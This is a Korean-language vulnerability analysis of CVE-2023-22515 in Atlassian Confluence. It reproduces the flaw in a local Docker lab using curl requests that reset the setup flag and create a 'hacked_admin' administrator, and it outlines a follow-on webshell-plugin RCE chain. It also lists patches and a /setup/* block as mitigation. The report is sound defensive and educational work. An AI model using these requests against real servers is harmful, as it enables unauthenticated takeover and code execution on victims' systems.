CVE-2023-22515: Confluence Data Center & Server 권한 상승 취약점 분석 보고서

1. 개요 (Overview)

CVE-2023-22515는 Atlassian Confluence Data Center 및 Server 제품에서 발견된 치명적인(Critical) Broken Access Control 취약점입니다. 공격자는 인증되지 않은 상태에서 원격으로 서버의 초기 설정 과정을 재활성화하고, 이를 통해 새로운 관리자 계정을 생성하여 시스템을 완전히 장악할 수 있습니다.

• CVE ID: CVE-2023-22515
• CVSS Score: 10.0 (Critical)
• 영향받는 버전: 8.0.0 ~ 8.5.1 (일부 버전 제외)

2. 취약점 상세 분석 (Vulnerability Analysis)

원인 (Root Cause)

이 취약점의 핵심은 XWork2 프레임워크의 파라미터 바인딩 메커니즘과 Confluence의 액션(Action) 처리 로직 간의 미흡한 검증에 있습니다.

공격자는 URL 파라미터를 통해 bootstrapStatusProvider.applicationConfig.setupComplete 값을 false로 조작할 수 있습니다. 이 속성은 Confluence가 설치 및 설정이 완료되었는지를 판단하는 중요한 플래그입니다.

GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>

위 요청을 보내면 서버는 메모리 상에서 설정이 완료되지 않은 상태라고 인식하게 됩니다. 이는 영구적인 설정 파일(confluence.cfg.xml)을 변경하는 것은 아니지만, 런타임 중에 상태를 변경하여 접근 제어를 우회할 수 있게 합니다.

공격 메커니즘 (Attack Mechanism)

1. 설정 상태 초기화: 공격자는 /server-info.action 등의 공개된 엔드포인트에 접근하면서 bootstrapStatusProvider.applicationConfig.setupComplete=false 파라미터를 전달합니다.
2. 접근 제어 우회: 서버는 이제 자신을 "설치 중"인 상태로 인식하므로, /setup/* 하위의 관리자 설정 페이지에 대한 접근 제한이 해제됩니다.
3. 관리자 계정 생성: 공격자는 /setup/setupadministrator.action 페이지에 접근하여 새로운 시스템 관리자(System Administrator) 계정을 생성합니다.
4. 시스템 장악: 생성된 관리자 계정으로 로그인하여 시스템의 모든 권한을 획득합니다. 이를 통해 웹 쉘 업로드, 데이터 유출, 랜섬웨어 배포 등의 추가적인 악성 행위가 가능합니다.

3. 취약점 재현 (Reproduction)

환경 구축 (Environment Setup)

Docker를 사용하여 취약한 버전(8.5.1)의 Confluence Server를 구축하였습니다.

• Docker Image: atlassian/confluence-server:8.5.1
• Database: PostgreSQL 14

docker-compose.yml (요약):

services:
  confluence:
    image: atlassian/confluence-server:8.5.1
    ports:
      - "8090:8090"
    environment:
      - ATL_DB_TYPE=postgresql
      # ... DB 설정 ...

Exploit 실행 (Exploitation)

Python 의존성 문제를 피하기 위해 curl을 이용한 Bash 스크립트로 PoC를 작성하여 실행하였습니다.

Exploit Flow:

1. Reset Setup Status:

   curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
   

   결과: HTTP 302 리다이렉트 응답이 반환되며, 내부적으로 설정 완료 상태가 해제됨을 확인했습니다.

2. Create Administrator:

   curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
     -H "X-Atlassian-Token: no-check" \
     --data "username=hacked_admin&password=p@ssw0rd123&..."
   

   결과: 해당 요청을 통해 hacked_admin 계정 생성을 시도하였으며, 이후 로그인 페이지에서 해당 계정으로 접근이 가능해집니다.

4. 대응 방안 (Mitigation)

패치 적용 (Patch)

Atlassian에서 제공하는 최신 버전으로 즉시 업그레이드해야 합니다.

• Fixed Versions: 8.3.3, 8.4.3, 8.5.2 이상

임시 완화 조치 (Workaround)

패치가 불가능한 경우, /setup/* 엔드포인트에 대한 접근을 네트워크 수준(로드 밸런서, WAF, 리버스 프록시 등)에서 차단해야 합니다.

• 차단 대상 URL: /setup/*

6. 심화 공격: RCE (Remote Code Execution) 시나리오

CVE-2023-22515를 통해 관리자 권한을 획득한 공격자는 시스템 명령을 실행(RCE)하는 단계로 나아갈 수 있습니다.

개요

Confluence는 관리자에게 플러그인(Add-on) 설치 권한을 제공합니다. 공격자는 이를 악용하여 웹 쉘(Web Shell) 기능이 포함된 악성 플러그인을 업로드함으로써 서버 운영체제에 대한 제어권을 획득할 수 있습니다.

공격 체인 (Attack Chain)

1. 관리자 계정 생성 (CVE-2023-22515): 앞서 설명한 방법으로 시스템 관리자 권한 획득
2. 설정 완료 트릭: 서버가 'Setup Mode'에 묶여 있는 경우, /setup/finishsetup.action 등을 통해 강제로 설정을 완료하거나(라이선스 우회 필요), 기존 세션을 이용해 접근 가능한 관리자 메뉴를 탐색
3. 악성 플러그인 업로드:
   • 메뉴: Confluence Administration -> Manage Apps -> Upload App
   • 파일: 악성 Java 클래스 파일이 포함된 .jar 파일
4. 명령 실행:
   • 업로드된 플러그인이 제공하는 URL(예: /plugins/servlet/webshell?cmd=id)에 접근하여 시스템 명령 실행

현재 재현 환경의 한계

본 실습 환경(Docker)은 유효한 Confluence 라이선스가 없어 초기 설정(Setup) 단계를 완료할 수 없습니다. 따라서 관리자 계정 생성 요청은 성공(302 Redirect)했으나, 이후 플러그인 메뉴 접근 및 실제 RCE 실행은 제한되었습니다. 실제 운영 환경에서는 라이선스가 등록되어 있으므로 이러한 제한 없이 즉시 RCE가 가능합니다.

7. 결론 (Conclusion)

CVE-2023-22515는 인증 없이 관리자 권한을 획득할 수 있는 매우 위험한 취약점입니다. 단순히 URL 파라미터 조작만으로 공격이 가능하여 공격 난이도가 매우 낮습니다. 따라서 해당 버전을 사용하는 조직은 즉각적인 패치 또는 완화 조치를 적용해야 합니다.